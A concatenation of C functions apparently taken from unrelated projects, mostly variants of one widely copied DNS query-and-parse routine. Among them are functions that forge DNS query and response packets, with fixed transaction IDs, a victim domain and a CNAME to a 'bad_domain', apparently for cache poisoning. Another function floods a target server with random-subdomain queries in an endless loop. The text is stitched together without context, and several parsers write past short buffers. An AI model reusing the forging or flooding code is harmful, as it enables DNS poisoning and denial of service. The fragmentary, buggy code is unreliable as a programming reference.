void forgeDNSQueryMessage(const char* filename){ unsigned char buf[65536],*qname; size_t len = 0; //Set the DNS structure to standard queries struct DNS_HEADER *dns = (struct DNS_HEADER *)&buf; dns->tid1 = tid1; dns->tid2 = tid2; dns->flags = htons(0x0100); //This is a query dns->q_count = htons(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; len += 12; //point to the query portion qname =(unsigned char*)&buf[len]; int new_len = ChangetoDnsNameFormat(qname , subdomain_host); len += strlen((const char*)qname) + 1; //printf("%d, %d, %s\n", new_len, strlen((const char*)qname), qname); //printf("%d, %d, %d\n", len, sizeof(struct DNS_HEADER) + strlen((const char*)qname) + 1, sizeof(struct DNS_HEADER1) + strlen((const char*)qname) + 1); struct QUESTION* qinfo =(struct QUESTION*)&buf[len]; //fill it qinfo->qtype = htons(T_A); //type of the query , A , MX , CNAME , NS etc qinfo->qclass = htons(1); //its internet (lol) len += 4; // write query payload file FILE* fp = fopen(filename, "w"); fwrite(buf, sizeof(char), len, fp); fclose(fp); }
int main(int argc, char *argv[]) { static char outbuf[200]; char inbuf[200]; char hostname[200]; const char* nameserver; unsigned char *qname; int query_type; int fd,rc,i; struct sockaddr_in addr; struct DNS_HEADER *dns = NULL; struct QUESTION *qinfo = NULL; printf("Please enter hostname to lookup : "); scanf("%s" , hostname); if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket error"); exit(-1); } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = 0; /* any port */ addr.sin_addr.s_addr = INADDR_ANY; if (bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in))==-1) { perror("Bind failed"); exit(1); } addr.sin_family = AF_INET; nameserver=get_dns_server(); printf("Nameserver queried:%s\n",nameserver); addr.sin_addr.s_addr = in_aton(nameserver); addr.sin_port = htons(53); if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) { perror("connect error"); close(fd); exit(-1); } dns = (struct DNS_HEADER *)&outbuf; /*dns->len: set at end */ dns->id = (__u16) htons(getpid()); dns->flags = 0x01; /*This is a standard query */ dns->q_count = htons(1); /*we have only 1 question */ dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; qname =(unsigned char*)&outbuf[sizeof(struct DNS_HEADER)]; /*point to the query portion */ ChangetoDnsNameFormat(qname , hostname); qinfo =(struct QUESTION*)&outbuf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; /*fill it */ query_type=1; /*IPv4 address */ qinfo->qtype = htons(query_type); qinfo->qclass = htons(1); /* internet */ dns->len = (sizeof(struct DNS_HEADER) + strlen((const char*)qname) + sizeof(struct QUESTION) -1) * 0x0100; rc = write(fd, outbuf, dns->len+1); if (rc < 0) { perror("write error"); close(fd); exit(-1); } bzero( inbuf, sizeof(inbuf)); rc=read(fd,inbuf,200); //printf("\n%d bytes read\n",rc); //for (i=0;i<50;i++) printf("%2X,",inbuf[i]); printf("%s has the ip address: ",hostname); printf("%d.%d.%d.%d\n",inbuf[rc-4],inbuf[rc-3],inbuf[rc-2],inbuf[rc-1]); close(fd); return 0; }
/* * Perform a DNS query by sending a packet * */ void ngethostbyname(unsigned char *host , int query_type) { unsigned char buf[65536],*qname,*reader; int i , j , stop , s; struct sockaddr_in a; struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server struct sockaddr_in dest; struct DNS_HEADER *dns = NULL; struct QUESTION *qinfo = NULL; printf("Resolving %s" , host); s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries dest.sin_family = AF_INET; dest.sin_port = htons(53); dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers printf("dns server used: %s\n", dns_servers[0]); //Set the DNS structure to standard queries dns = (struct DNS_HEADER *)&buf; dns->id = (unsigned short) htons(getpid()); dns->qr = 0; //This is a query dns->opcode = 0; //This is a standard query dns->aa = 0; //Not Authoritative dns->tc = 0; //This message is not truncated dns->rd = 1; //Recursion Desired dns->ra = 0; //Recursion not available! hey we dont have it (lol) dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = htons(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; //point to the query portion qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)]; ChangetoDnsNameFormat(qname , host); qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc qinfo->qclass = htons(1); //its internet (lol) printf("\nSending Packet..."); int bytes; if( (bytes = sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest))) < 0) { perror("sendto failed"); } printf("Done, bytes sent: %d", bytes); //Receive the answer i = sizeof dest; printf("\nReceiving answer..."); int bytes_rec; if((bytes_rec = recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i )) < 0) { perror("recvfrom failed"); } printf("Done, bytes received: %d", bytes_rec); dns = (struct DNS_HEADER*) buf; //move ahead of the dns header and the query field reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; printf("\nThe response contains : "); printf("\n %d Questions.",ntohs(dns->q_count)); printf("\n %d Answers.",ntohs(dns->ans_count)); printf("\n %d Authoritative Servers.",ntohs(dns->auth_count)); printf("\n %d Additional records.\n\n",ntohs(dns->add_count)); //Start reading answers stop=0; i=0; /* for(i=0;i<ntohs(dns->ans_count);i++) {*/ answers[i].name=ReadName(reader,buf,&stop); reader = reader + stop; answers[i].resource = (struct R_DATA*)(reader); reader = reader + sizeof(struct R_DATA); if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address { answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len)); /* printf("rdata length: %d\n", ntohs(answers[i].resource->data_len));*/ /* printf("rdata TTL: %d\n", ntohs(answers[i].resource->ttl));*/ for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++) { answers[i].rdata[j]=reader[j]; /* printf(" %c ", answers[i].rdata[j]);*/ } printf("\n"); answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0'; reader = reader + ntohs(answers[i].resource->data_len); } else { answers[i].rdata = ReadName(reader,buf,&stop); reader = reader + stop; } // } //read authorities for(i=0;i<ntohs(dns->auth_count);i++) { auth[i].name=ReadName(reader,buf,&stop); reader+=stop; auth[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); auth[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } //read additional for(i=0;i<ntohs(dns->add_count);i++) { addit[i].name=ReadName(reader,buf,&stop); reader+=stop; addit[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); if(ntohs(addit[i].resource->type)==1) { addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len)); for(j=0;j<ntohs(addit[i].resource->data_len);j++) addit[i].rdata[j]=reader[j]; addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0'; reader+=ntohs(addit[i].resource->data_len); } else { addit[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } } //print answers printf("\nAnswer Records : %d \n" , ntohs(dns->ans_count) ); for(i=0 ; i < ntohs(dns->ans_count) ; i++) { printf("Name : %s ",answers[i].name); if( ntohs(answers[i].resource->type) == T_A) //IPv4 address { long *p; p=(long*)answers[i].rdata; a.sin_addr.s_addr=(*p); //working without ntohl printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); } if(ntohs(answers[i].resource->type)==5) { //Canonical name for an alias printf("has alias name : %s",answers[i].rdata); } printf("\n"); } //print authorities printf("\nAuthoritive Records : %d \n" , ntohs(dns->auth_count) ); for( i=0 ; i < ntohs(dns->auth_count) ; i++) { printf("Name : %s ",auth[i].name); if(ntohs(auth[i].resource->type)==2) { printf("has nameserver : %s",auth[i].rdata); } printf("\n"); } //print additional resource records printf("\nAdditional Records : %d \n" , ntohs(dns->add_count) ); for(i=0; i < ntohs(dns->add_count) ; i++) { printf("Name : %s ",addit[i].name); if(ntohs(addit[i].resource->type)==1) { long *p; p=(long*)addit[i].rdata; a.sin_addr.s_addr=(*p); printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); } printf("\n"); } return; }
errno_t dns_request(const unsigned char *host, ipv4_addr server, ipv4_addr *result) { // TODO 64 k on stack? unsigned char buf[32000]; //unsigned char buf[65536]; unsigned char *qname, *reader; int i, j, stop; struct RES_RECORD answers[20], auth[20], addit[20]; //the replies from the DNS server struct DNS_HEADER *dns = NULL; struct QUESTION *qinfo = NULL; #ifdef KERNEL void *s; int res = udp_open(&s); if( res ) { SHOW_ERROR0( 0, "Can't get socket"); return ENOTSOCK; } #else int s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries #endif //SHOW_FLOW0( 2, "got sock"); #ifdef KERNEL i4sockaddr addr; addr.port = 53; addr.addr.len = 4; addr.addr.type = ADDR_TYPE_IP; NETADDR_TO_IPV4(addr.addr) = server; #else struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_port = htons(53); dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers #endif memset(buf, 0, sizeof(buf)); //Set the DNS structure to standard queries dns = (struct DNS_HEADER *)&buf; #ifdef KERNEL dns->id = (unsigned short) random(); #else dns->id = (unsigned short) htons(getpid()); #endif dns->qr = 0; //This is a query dns->opcode = 0; //This is a standard query dns->aa = 0; //Not Authoritative dns->tc = 0; //This message is not truncated dns->rd = 1; //Recursion Desired dns->ra = 0; //Recursion not available! hey we dont have it (lol) dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = htons(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; //point to the query portion qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)]; ChangetoDnsNameFormat(qname , host); int qname_len = (strlen((const char*)qname) + 1); qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + qname_len]; //fill it qinfo->qtype = htons(1); //we are requesting the ipv4 address qinfo->qclass = htons(1); //its internet (lol) STAT_INC_CNT(STAT_CNT_DNS_REQ); SHOW_FLOW0( 3, "Sending Packet"); int sendLen = sizeof(struct DNS_HEADER) + qname_len + sizeof(struct QUESTION); #ifdef KERNEL int ret = udp_sendto( s, buf, sendLen, &addr); if( ret ) #else if(sendto(s,(char*)buf, sendLen, 0, (struct sockaddr*)&dest, sizeof(dest)) != sendLen) #endif { SHOW_ERROR( 0, "Error sending req, %d", ret); goto reterr; } SHOW_FLOW0( 3, "Sent"); #ifdef KERNEL long tmo = 1000L*1000L*2; // 2 sec //long tmo = 1000L*10; if( udp_recvfrom( s, buf, sizeof(buf), &addr, SOCK_FLAG_TIMEOUT, tmo) <= 0 ) #else i = sizeof dest; ret = recvfrom (s,(char*)buf,65536,0,(struct sockaddr*)&dest,&i); if(ret == 0) #endif { SHOW_ERROR0( 1, "Failed"); goto reterr; } SHOW_FLOW0( 3, "Received"); STAT_INC_CNT(STAT_CNT_DNS_ANS); dns = (struct DNS_HEADER*) buf; //move ahead of the dns header and the query field reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; if(debug_level_flow > 6) { printf("The response contains : \n"); printf("%d Questions.\n",ntohs(dns->q_count)); printf("%d Answers.\n",ntohs(dns->ans_count)); printf("%d Authoritative Servers.\n",ntohs(dns->auth_count)); printf("%d Additional records.\n\n",ntohs(dns->add_count)); } //reading answers stop=0; for(i=0;i<ntohs(dns->ans_count);i++) { answers[i].name=ReadName(reader,buf,&stop); reader = reader + stop; answers[i].resource = (struct R_DATA*)(reader); reader = reader + sizeof(struct R_DATA); if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address { answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len)); for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++) answers[i].rdata[j]=reader[j]; answers[i].rdata[ntohs(answers[i].resource->data_len)] = FIN; reader = reader + ntohs(answers[i].resource->data_len); } else { answers[i].rdata = ReadName(reader,buf,&stop); reader = reader + stop; } } //read authorities for(i=0;i<ntohs(dns->auth_count);i++) { auth[i].name=ReadName(reader,buf,&stop); reader+=stop; auth[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); auth[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } //read additional for(i=0;i<ntohs(dns->add_count);i++) { addit[i].name=ReadName(reader,buf,&stop); reader+=stop; addit[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); if(ntohs(addit[i].resource->type)==1) { addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len)); for(j=0;j<ntohs(addit[i].resource->data_len);j++) addit[i].rdata[j]=reader[j]; addit[i].rdata[ntohs(addit[i].resource->data_len)]= FIN; reader+=ntohs(addit[i].resource->data_len); } else { addit[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } } if(debug_level_flow > 6) { //print answers for(i=0;i<ntohs(dns->ans_count);i++) { printf("Name : %s ",answers[i].name); if(ntohs(answers[i].resource->type)==1) //IPv4 address { long *p; p=(long*)answers[i].rdata; struct sockaddr_in a; a.sin_addr.s_addr=(*p); //working without ntohl printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); } if(ntohs(answers[i].resource->type)==5) //Canonical name for an alias printf("has alias name : %s",answers[i].rdata); printf("\n"); } //print authorities for(i=0;i<ntohs(dns->auth_count);i++) { printf("Name : %s ",auth[i].name); if(ntohs(auth[i].resource->type)==2) printf("has authoritative nameserver : %s",auth[i].rdata); printf("\n"); } //print additional resource records for(i=0;i<ntohs(dns->add_count);i++) { printf("Name : %s ",addit[i].name); if(ntohs(addit[i].resource->type)==1) { long *p; p=(long*)addit[i].rdata; struct sockaddr_in a; a.sin_addr.s_addr=(*p); //working without ntohl printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); } printf("\n"); } } // return answer for( i=0; i < ntohs(dns->ans_count); i++ ) { if( ntohs(answers[i].resource->type) == 1 ) //IPv4 address { *result = *( (long*)answers[i].rdata); udp_close(s); return 0; } } reterr: // No direct answer *result = 0; udp_close(s); return ENOENT; }
//Perform a DNS query by sending a packet void ngethostbyname(unsigned char *host , int query_type) { unsigned char buf[65536],*qname,*reader; int i , j , stop , s; struct sockaddr_in a; struct RES_RECORD answers[20]; //the replies from the DNS server struct sockaddr_in dest; struct DNS_HEADER *dns = NULL; struct QUESTION *qinfo = NULL; s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries dest.sin_family = AF_INET; dest.sin_port = htons(53); dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers //Set the DNS structure to standard queries dns = (struct DNS_HEADER *)&buf; dns->id = (unsigned short) htons(getpid()); dns->qr = 0; //This is a query dns->opcode = 0; //This is a standard query dns->aa = 0; //Not Authoritative dns->tc = 0; //This message is not truncated dns->rd = 1; //Recursion Desired dns->ra = 0; //Recursion not available! hey we dont have it (lol) dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = htons(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; //point to the query portion qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)]; ChangetoDnsNameFormat(qname , host); qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc qinfo->qclass = htons(1); //its internet (lol) if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0) { perror("Check failed"); } //Receive the answer i = sizeof dest; if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0) { perror("Recvfrom failed"); } dns = (struct DNS_HEADER*) buf; //move ahead of the dns header and the query field reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; if(ntohs(dns->ans_count)>=1) { printf("\x1b[31m####------> ATTENTION this address is BLACKLISTED!\x1b[0m\n"); } else printf("\x1b[32m#### OK - This address is not blacklisted!\x1b[0m\n"); }
void dns_proc( LPVOID lpParam ) { int *i; char buf[4096], host[1024], dnsip[MAXTEXT], domain[MAXTEXT]; char *ctmp, *qname; int dsize, j; DWORD termEventResult; struct sockaddr_in server; int sock; struct DNS_HEADER *dns = NULL; struct QUESTION *qinfo = NULL; i = (int)lpParam; srand( GetCurrentThreadId() ); //srand( (unsigned)time( NULL ) ); //Set the DNS structure to standard queries dns = (struct DNS_HEADER *)&buf; dns->qr = 0; //This is a query dns->opcode = 0; //This is a standard query dns->aa = 0; //Not Authoritative dns->tc = 0; //This message is not truncated dns->rd = 1; //Recursion Desired dns->ra = 0; //Recursion not available! hey we dont have it (lol) dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = htons(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; //point to the query portion qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)]; //ipstr has this format: edoors.com/72.52.66.12 ctmp = ipstr[*i]; memset(domain, 0, MAXTEXT); strncpy(domain, ctmp, strstr(ctmp, "/") - ctmp); ctmp = strstr(ctmp, "/") + 1; memset(dnsip, 0, MAXTEXT); strncpy(dnsip, ctmp, strlen(ctmp)); memset(&server, 0, sizeof(server)); server.sin_family = AF_INET; /* Internet address family */ server.sin_addr.s_addr = inet_addr(dnsip); /* Server IP address */ server.sin_port = htons(53); /* Server port */ if ((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { printf("DNS thread %d: socket open failed\n", *i); _endthread(); } for (;;) { //printf("DNS thread %d\n", *i); // create random host data memset(host, 0, 1024); dsize = rand()%32+1; // max host name length for (j=0; j<dsize; j++) host[j] = rand()%26+97; host[dsize] = '.'; strcat(host, domain); //printf("Resolving host: %s\n", host); dns->id = (unsigned short) rand(); ChangetoDnsNameFormat(qname,host); qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it qinfo->qtype = htons(1); //we are requesting the ipv4 address qinfo->qclass = htons(1); //its internet (lol) if (sendto(sock, buf, sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION), 0, (struct sockaddr *)&server, sizeof(server) ) < 0 ) { printf("DNS thread %d: sendto failed. Keep trying ...\n", *i); } else { //printf("DNS thread %d: data sent. short break ...\n", *i); } termEventResult = WaitForSingleObject(termEvent, 5000); switch(termEventResult) { case WAIT_OBJECT_0: printf("DNS thread %d exiting ...\n", *i); fflush(stdout); closesocket(sock); _endthread(); break; default: // printf("DNS thread %d continue ...\n", *i); fflush(stdout); break; } // end switch } // end for(;;) }
void forgeDNSResponseMessage(const char* filename){ unsigned char buf[65536], *qname, *ipv4; size_t len = 0; struct DNS_HEADER *dns = NULL; struct R_DATA *ans = NULL; unsigned short *ans_type = NULL; unsigned short *ans_class = NULL; unsigned int *ans_ttl = NULL; unsigned short *ans_data_len = NULL; //Set the DNS structure to standard queries dns = (struct DNS_HEADER *)&buf; dns->tid1 = tid1; dns->tid2 = tid2; dns->flags = htons(0x8180); dns->q_count = htons(1); //we have only 1 question dns->ans_count = htons(2); dns->auth_count = 0; dns->add_count = 0; len += 12; int new_len = 0; //printf("%d\n", len); //point to the query portion printf("%d\n", len); qname =(unsigned char*)&buf[len]; new_len = ChangetoDnsNameFormat(qname , subdomain_host); len += strlen((const char*)qname) + 1; //printf("%d, %d, %s\n", new_len, strlen((char*)qname), qname); struct QUESTION* qinfo =(struct QUESTION*)&buf[len]; //fill it qinfo->qtype = htons(T_A); //type of the query , A , MX , CNAME , NS etc qinfo->qclass = htons(1); //its internet (lol) len += 4; //printf("size of struct QUESTION:%d \n", sizeof(struct QUESTION)); // write first response A printf("%d\n", len); qname =(unsigned char*)&buf[len]; new_len = ChangetoDnsNameFormat(qname , subdomain_host1); len += strlen((const char*)qname) + 1; //len += new_len; ans_type = (unsigned short *)&buf[len]; *ans_type = htons(T_A); len += 2; ans_class = (unsigned short *)&buf[len]; *ans_class = htons(1); len += 2; ans_ttl = (unsigned int *)&buf[len]; *ans_ttl = htons(0x0e10); len += 4; ans_data_len = (unsigned short *)&buf[len]; *ans_data_len = htons(4); len += 2; /*ans = (struct R_DATA *)&buf[len]; ans->type = htons(T_A); ans->ans_class = htons(0x0001); ans->ttl = htons(0x0e10); ans->data_len = htons(4); len += sizeof(struct R_DATA);*/ //printf("size of struct R_DATA:%d \n", sizeof(struct R_DATA)); /*qname =(unsigned char*)&buf[len]; new_len = ChangetoDnsNameFormat(qname , vicitim_domain); len += strlen((const char*)qname) + 1;*/ ipv4 =(unsigned char*)&buf[len]; ipv4[0] = 10; ipv4[1] = 0; ipv4[2] = 2; ipv4[3] = 4; len += 4; //printf("%d\n", len); //write second response qname =(unsigned char*)&buf[len]; new_len = ChangetoDnsNameFormat(qname , vicitim_domain); len += strlen((const char*)qname) + 1; //printf("%d, %s\n", new_len, qname); ans_type = (unsigned short *)&buf[len]; *ans_type = htons(T_CNAME); len += 2; ans_class = (unsigned short *)&buf[len]; *ans_class = htons(1); len += 2; ans_ttl = (unsigned int *)&buf[len]; *ans_ttl = htons(0x0e10); len += 4; ans_data_len = (unsigned short *)&buf[len]; *ans_data_len = htons(strlen((const char*)bad_domain) + 1); len += 2; /*ipv4 =(unsigned char*)&buf[len]; ipv4[0] = 128; ipv4[1] = 227; ipv4[2] = 9; ipv4[3] = 48; len += 4;*/ qname =(unsigned char*)&buf[len]; new_len = ChangetoDnsNameFormat(qname , bad_domain); len += strlen((const char*)qname) + 1; // write query payload file FILE* fp = fopen(filename, "w"); fwrite(buf, sizeof(char), len, fp); fclose(fp); }
/* * Perform a DNS query by sending a packet */ void ngethostbyname(unsigned char *host , int query_type) { unsigned char buf[65536],*qname,*reader; int i , j , stop , s, random_server; srand ( time(NULL) ); // Initialize Random Seed random_server = rand() % dns_servercount; // Pick a random nameserver struct sockaddr_in a; struct RES_RECORD answers[20],auth[20],addit[20]; //The replies from the DNS server struct sockaddr_in dest; struct DNS_HEADER *dns = NULL; struct QUESTION *qinfo = NULL; s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries dest.sin_family = AF_INET; dest.sin_port = htons(53); dest.sin_addr.s_addr = inet_addr(dns_servers[random_server]); // Set the DNS structure to standard queries dns = (struct DNS_HEADER *)&buf; dns->id = (unsigned short) htons(getpid()); dns->qr = 0; dns->opcode = 0; dns->aa = 0; dns->tc = 0; dns->rd = 1; dns->ra = 0; dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = htons(1); dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; // Query Portion qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)]; ChangetoDnsNameFormat(qname , host); qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; qinfo->qtype = htons( query_type ); qinfo->qclass = htons(1); printf("\nSending Packet to %s (%s) ... " , dns_servernames[random_server], dns_servers[random_server]); if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0) { perror("sendto failed"); } printf("Done"); // Receive the response i = sizeof dest; printf("\nResponse Record Received ... "); if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0) { perror("recvfrom failed"); } printf("Done"); dns = (struct DNS_HEADER*) buf; //The Query field reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)]; printf("\nThe response contains : "); printf("\n\t %d Questions.",ntohs(dns->q_count)); printf("\n\t %d Answers.",ntohs(dns->ans_count)); printf("\n\t %d Authoritative Servers.",ntohs(dns->auth_count)); printf("\n\t %d Additional records.\n",ntohs(dns->add_count)); // Start Reading Answers stop=0; for(i=0;i<ntohs(dns->ans_count);i++) { answers[i].name=ReadName(reader,buf,&stop); reader = reader + stop; answers[i].resource = (struct R_DATA*)(reader); reader = reader + sizeof(struct R_DATA); if(ntohs(answers[i].resource->type) == 1) //If it's an ipv4 address { answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len)); for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++) { answers[i].rdata[j]=reader[j]; } answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0'; reader = reader + ntohs(answers[i].resource->data_len); } else { answers[i].rdata = ReadName(reader,buf,&stop); reader = reader + stop; } } // Read authorities for(i=0;i<ntohs(dns->auth_count);i++) { auth[i].name=ReadName(reader,buf,&stop); reader+=stop; auth[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); auth[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } // Read additional for(i=0;i<ntohs(dns->add_count);i++) { addit[i].name=ReadName(reader,buf,&stop); reader+=stop; addit[i].resource=(struct R_DATA*)(reader); reader+=sizeof(struct R_DATA); if(ntohs(addit[i].resource->type)==1) { addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len)); for(j=0;j<ntohs(addit[i].resource->data_len);j++) addit[i].rdata[j]=reader[j]; addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0'; reader+=ntohs(addit[i].resource->data_len); } else { addit[i].rdata=ReadName(reader,buf,&stop); reader+=stop; } } // Print Answers int answer_count = ntohs(dns->ans_count); printf("\nAnswer Records : %d \n" , answer_count ); for(i=0 ; i < answer_count ; i++) { printf("%s ",answers[i].name); printf("%d ",answers[i].resource->ttl); if( ntohs(answers[i].resource->type) == T_A) // IPv4 address { long *p; p=(long*)answers[i].rdata; a.sin_addr.s_addr=(*p); printf("IN NS %s",inet_ntoa(a.sin_addr)); } if(ntohs(answers[i].resource->type)==5) { //CNAME for an alias printf("IN CNAME %s",answers[i].rdata); } printf("\n"); } // Print Authorities printf("\nAuthoritive Records : %d \n" , ntohs(dns->auth_count) ); for( i=0 ; i < ntohs(dns->auth_count) ; i++) { printf("%s ",auth[i].name); printf("%d ",auth[i].resource->ttl); if(ntohs(auth[i].resource->type)==2) { printf("IN NS %s",auth[i].rdata); } printf("\n"); } // Print Additional Resource Records dns_servercount = ntohs(dns->add_count); printf("\nAdditional Records : %d \n" , dns_servercount ); for(i=0; i < dns_servercount ; i++) { printf("%s ",addit[i].name); if(ntohs(addit[i].resource->type)==1) { long *p; p=(long*)addit[i].rdata; a.sin_addr.s_addr=(*p); const char* temp_ip = inet_ntoa(a.sin_addr); const char* temp_name = addit[i].name; printf("IN A %s", temp_ip); strcpy(dns_servers[i] , temp_ip); strcpy(dns_servernames[i] , temp_name); } printf("\n"); } // Raise flag if answer records were received if( answer_count > 0 ) { done = 1; } else { //information for next iteration printf("\nNo answer record received - Picking a nameserver above at random ...\n"); } }